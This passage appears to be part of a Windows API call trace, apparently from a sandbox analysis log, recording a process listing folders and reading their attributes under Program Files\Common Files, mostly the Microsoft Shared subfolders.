lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fe9558 [0077.530] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.530] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US", lpFilePart=0x0) returned 0x3b [0077.530] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.530] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US", lpFilePart=0x0) returned 0x3b [0077.530] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.530] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.530] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US", lpFilePart=0x0) returned 0x3b [0077.530] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.530] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.531] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo", lpFilePart=0x0) returned 0x35 [0077.531] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fe9558 [0077.531] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.531] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE11", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE11", lpFilePart=0x0) returned 0x37 [0077.531] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE11" (normalized: "c:\\program files\\common files\\microsoft shared\\office11"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4f1541b0, ftCreationTime.dwHighDateTime=0x1d2e635, ftLastAccessTime.dwLowDateTime=0x4f1c65d0, ftLastAccessTime.dwHighDateTime=0x1d2e635, ftLastWriteTime.dwLowDateTime=0x4f1c65d0, ftLastWriteTime.dwHighDateTime=0x1d2e635, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.531] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE11", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE11", lpFilePart=0x0) returned 0x37 [0077.531] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE11\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fe9558 [0077.531] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.531] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE11\\1033", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE11\\1033", lpFilePart=0x0) returned 0x3c [0077.531] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE11\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\office11\\1033"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4f1c65d0, ftCreationTime.dwHighDateTime=0x1d2e635, ftLastAccessTime.dwLowDateTime=0x4f1c65d0, ftLastAccessTime.dwHighDateTime=0x1d2e635, ftLastWriteTime.dwLowDateTime=0x4f1c65d0, ftLastWriteTime.dwHighDateTime=0x1d2e635, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.531] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE11\\1033", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE11\\1033", lpFilePart=0x0) returned 0x3c [0077.531] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE11\\1033\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.531] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.531] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE11\\1033", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE11\\1033", lpFilePart=0x0) returned 0x3c [0077.532] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE11\\1033\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.532] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.532] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE11", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE11", lpFilePart=0x0) returned 0x37 [0077.532] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE11\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fe9558 [0077.532] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.532] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE12", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE12", lpFilePart=0x0) returned 0x37 [0077.532] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE12" (normalized: "c:\\program files\\common files\\microsoft shared\\office12"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d8c7ed0, ftCreationTime.dwHighDateTime=0x1d2e635, ftLastAccessTime.dwLowDateTime=0x4d93a2f0, ftLastAccessTime.dwHighDateTime=0x1d2e635, ftLastWriteTime.dwLowDateTime=0x4d93a2f0, ftLastWriteTime.dwHighDateTime=0x1d2e635, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.532] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE12", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE12", lpFilePart=0x0) returned 0x37 [0077.532] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE12\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fe9558 [0077.532] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.532] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE12", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE12", lpFilePart=0x0) returned 0x37 [0077.532] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE12\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fe9558 [0077.532] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.533] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery", lpFilePart=0x0) returned 0x39 [0077.533] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0077.533] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery", lpFilePart=0x0) returned 0x39 [0077.533] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fe9558 [0077.533] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.534] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery", lpFilePart=0x0) returned 0x39 [0077.534] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fe9558 [0077.534] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.535] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv", lpFilePart=0x0) returned 0x37 [0077.535] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.535] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv", lpFilePart=0x0) returned 0x37 [0077.535] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fe9558 [0077.535] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.535] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US", lpFilePart=0x0) returned 0x3d [0077.535] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.535] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US", lpFilePart=0x0) returned 0x3d [0077.535] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.535] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.535] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US", lpFilePart=0x0) returned 0x3d [0077.535] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.536] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.536] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv", lpFilePart=0x0) returned 0x37 [0077.536] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fe9558 [0077.536] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.536] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit", lpFilePart=0x0) returned 0x36 [0077.536] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.536] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit", lpFilePart=0x0) returned 0x36 [0077.536] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fe9558 [0077.536] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.536] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US", lpFilePart=0x0) returned 0x3c [0077.536] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.536] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US", lpFilePart=0x0) returned 0x3c [0077.536] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.536] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.537] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US", lpFilePart=0x0) returned 0x3c [0077.537] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9558 [0077.537] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.537] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit", lpFilePart=0x0) returned 0x36 [0077.537] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fe9558 [0077.537] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.537] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\VC", lpFilePart=0x0) returned 0x31 [0077.537] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC" (normalized: "c:\\program files\\common files\\microsoft shared\\vc"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdcaa0980, ftCreationTime.dwHighDateTime=0x1d2ebb6, ftLastAccessTime.dwLowDateTime=0xc1eae2f0, ftLastAccessTime.dwHighDateTime=0x1d2ec0a, ftLastWriteTime.dwLowDateTime=0xc1eae2f0, ftLastWriteTime.dwHighDateTime=0x1d2ec0a, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.537] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\VC", lpFilePart=0x0) returned 0x31 [0077.537] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fe9558 [0077.537] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.537] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\VC", lpFilePart=0x0) returned 0x31 [0077.537] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fe9558 [0077.538] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.538] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX", lpFilePart=0x0) returned 0x32 [0077.538] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.538] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX", lpFilePart=0x0) returned 0x32 [0077.538] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fe9558 [0077.538] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.538] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX", lpFilePart=0x0) returned 0x32 [0077.538] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fe9558 [0077.538] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.538] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared", lpFilePart=0x0) returned 0x2e [0077.538] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fe9558 [0077.538] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.538] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Services", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Services", lpFilePart=0x0) returned 0x26 [0077.538] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Services" (normalized: "c:\\program files\\common files\\services"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.539] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Services", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Services", lpFilePart=0x0) returned 0x26 [0077.539] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Services\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fe9558 [0077.539] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.539] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Services", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Services", lpFilePart=0x0) returned 0x26 [0077.539] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Services\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fe9558 [0077.539] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.539] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\SpeechEngines", lpFilePart=0x0) returned 0x2b [0077.539] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines" (normalized: "c:\\program files\\common files\\speechengines"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.539] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\SpeechEngines", lpFilePart=0x0) returned 0x2b [0077.539] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fe9558 [0077.539] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0081.990] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0081.990] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: 